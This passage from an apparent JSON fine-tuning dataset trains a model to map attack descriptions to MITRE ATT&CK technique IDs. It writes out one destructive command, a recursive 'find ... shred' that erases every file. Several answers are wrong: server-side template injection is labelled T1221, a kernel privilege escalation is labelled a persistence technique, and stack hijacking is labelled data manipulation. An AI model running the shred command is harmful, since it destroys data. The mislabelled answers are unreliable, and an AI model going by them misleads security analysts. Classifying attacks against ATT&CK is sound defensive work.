                "content": "The adversary executed a destructive Linux command 'find / -type f -exec shred -n 5 {} \\;' to securely erase all files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised employee account is used to forward a phishing email containing a malicious PDF to the finance team, leading to credential theft."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a scheduled task on the victim’s Windows system to run a PowerShell script every hour that copies stolen credentials to an external server."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script invokes regasm.exe to register a backdoored .NET assembly, establishing persistence via the COM registration."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the malicious payload was placed in 'C:\\Windows\\System32\\explorer.exe' but renamed to 'lsass.exe' to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool executes 'lsmod' on a Linux system to enumerate loaded kernel modules (device drivers)."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware configures email redirection rules to silently copy incoming C2 emails to a secondary hidden mailbox, while deleting the original."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a VPN client, the adversary injects themselves into the existing IPsec tunnel, hijacking the remote service session to bypass network controls."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs Mavinject with elevated privileges to inject a remote access tool DLL into the lsass.exe process for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up an Emond rule that triggers a scheduled task to run ransomware whenever the system boots and logs Event ID 6005."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign is discovered that utilizes search engine optimization (SEO) poisoning to drive traffic to malicious websites."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in a custom DLL placed in the same folder as a target executable, exploiting the default DLL search order to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining Domain Admin privileges, the adversary modified an existing trust to allow authentication from a rogue domain they control."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The system uses TFTP to retrieve updates, which could be hijacked by an adversary to deliver malicious code before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used SNMP walk commands to harvest MIB information, retrieving device settings and routing tables."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised admin account, the actor exported the NTDS.dit file and read out the stored credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware identified open network shares and harvested documents from them."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a hidden Python script via a Windows service to maintain stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary terminates virtual machines in the target's AWS environment to disrupt services."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors dump the DPAPI-protected entries in Windows Credential Manager to retrieve domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor adds its executable to the All Users Startup folder to run each time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a supply‑chain attack to insert a malicious component signed with a valid code signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a persistent malicious PowerShell script by creating a Windows Scheduled Task that runs at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a compromised Windows Installer package to silently install a backdoor on target machines."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deliver a payload that has been stripped of metadata and signatures, making it harder for AV tools to match known hashes."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a scheduled Azure Logic App to move exfiltrated files from the victim's cloud storage to their own bucket every hour."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors adjust their exfiltration script to send no more than 200 KB per request, ensuring it blends with normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits ptrace to gain read/write access to a high‑privilege process, injecting code that runs with its privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gains access to sensitive data by exploiting weak passwords through brute-force attacks or password spraying."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs 'secedit /export' to export security policy information, effectively performing Group Policy discovery."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware splits its payload into 8 KB fragments before sending them through ICMP echo requests, complying with the typical packet size limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the Windows event log for user interaction events and only proceeds when such activity is present."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing campaign delivers a zip file containing a trojanized PDF to senior executives, exploiting a known vulnerability when the PDF is viewed."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages stolen SSH private keys to create persistent reverse shells on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors acquire and use stolen SSH keys to infiltrate target systems."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used Windows command shell to modify firewall rules by executing \"netsh advfirewall firewall add rule...\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a known vulnerability in a social media platform's API to enumerate user IDs and brute‑force passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with user‑controlled template variables, the threat actor triggers server‑side template injection, leading to credential theft and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a rule in Outlook that moves suspicious emails to a hidden folder and runs a VBA macro embedded in the message to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the Android Wi‑FiManager.getScanResults() method to gather SSID, BSSID, and encryption details of nearby networks."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT employs WinRM to remotely install a backdoor DLL on a target workstation without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a new local user account with admin rights and then authenticates using it."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised account runs a script that deletes user accounts."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the Azure AD Graph API to retrieve a list of cloud user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker accesses Docker container environment files to extract secret keys stored in /run/secrets."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through injection of <% %> tags in a Ruby on Rails ERB template, the attacker runs arbitrary Ruby code on the server."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing kit disguises URLs by using punycode representation of characters."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious launch agent plist and uses launchctl load to execute it at startup, achieving persistence on macOS."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a custom form into Outlook's startup sequence, exploiting the Office Application Startup vector to run a payload."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits an outdated kernel module to achieve local privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom LSASS driver is installed and set to load on system startup, allowing the attacker to run code with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware renames its process to 'svchost.exe' to blend in with legitimate Windows services."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks the runtime stack of a process to inject false return addresses and execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses a utility to dump the contents of .bash_history, aiming to uncover credentials typed in prior commands."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware displays a custom dialog box that mimics a system prompt, capturing the entered password."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors plant a malicious TFTP server on the local network and reconfigure the target's PXE boot parameters to fetch an infected bootloader, gaining early code execution."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent malicious transport agent installed on an IIS server to monitor and modify HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused the WMI Delete method to remove evidence of malicious files."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromises an existing public website to host their command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware configured a reverse proxy to connect to an external cloud-based remote desktop service for command and control."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use process argument spoofing by executing a legitimate binary with malicious arguments that are hidden from monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By executing 'nltest /domain_trusts /all_trusts', the adversary collects detailed trust mapping."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a DLL with a Right-to-Left Override character before the .dll extension, so security tools see a .txt file name but the system loads the malicious library."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets the default application for .xml files to a custom script that exfiltrates data every time an XML file is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor replaces a legitimate browser binary with a hijacked version containing spyware."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator harvests VPN credentials from configuration files on a compromised router."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a vulnerable API endpoint, the attacker uploaded a defacement file that replaced the site's default error page with a malicious message."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool copies the C:\\Windows\\System32\\config\\SAM file to a remote server for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary overwrites the /var/log/secure file with null bytes to hide failed login attempts."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor searches open‑source bug trackers and security forums for disclosed zero‑day exploits."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a malicious VNC server payload, enabling persistent remote control over compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious systemd timer is used to execute a reverse shell script whenever the network interface becomes active."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs SSH session hijacking by injecting crafted packets into the TCP stream, thereby taking over the encrypted connection without re-authentication."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program exploits the Windows DCOM service to establish a remote session and launch commands on another system."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party SDK is distributed through a company's internal artifact repository, allowing attackers to execute arbitrary code on all applications that link the SDK."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the firewall policy to allow inbound traffic on port 3389, effectively bypassing the system's network filtering."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
